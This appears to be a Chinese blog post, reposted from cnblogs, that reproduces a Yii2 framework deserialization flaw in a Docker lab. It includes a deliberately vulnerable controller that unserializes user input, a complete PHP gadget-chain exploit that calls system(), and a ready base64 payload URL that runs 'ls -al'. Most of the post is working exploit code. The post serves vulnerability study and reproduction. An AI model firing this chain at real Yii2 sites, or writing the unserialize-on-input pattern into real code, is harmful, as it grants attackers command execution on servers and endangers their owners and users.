GitHub
下载源码,然后docker-compose up
安装,但是一直没能成功,后续想尝试着直接Windows
上安装,但是过程过于复杂,所以最终还是选择直接docker
安装docker searche yii2
schmunk42/yii2-app-basic
,然后直接docker pull schmunk42/yii2-app-basic
拖取镜像即可docker run -d -P schmunk42/yii2-app-basic
Action:/controllers/TestController.php
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class TestController extends Controller
{
public function actionTest(){
$name = Yii::$app->request->get(‘unserialize‘);
return unserialize(base64_decode($name));
}
}
exp
进行复现执行系统命令<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = ‘system‘;
$this->id = ‘ls -al‘;
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters[‘close‘] = [new CreateAction, ‘run‘];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
php
代码执行平台运行生成payload
/index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ
https://xz.aliyun.com/t/8307?page=5
https://anquan.baidu.com/article/1260
原文:https://www.cnblogs.com/Konmu/p/14793335.html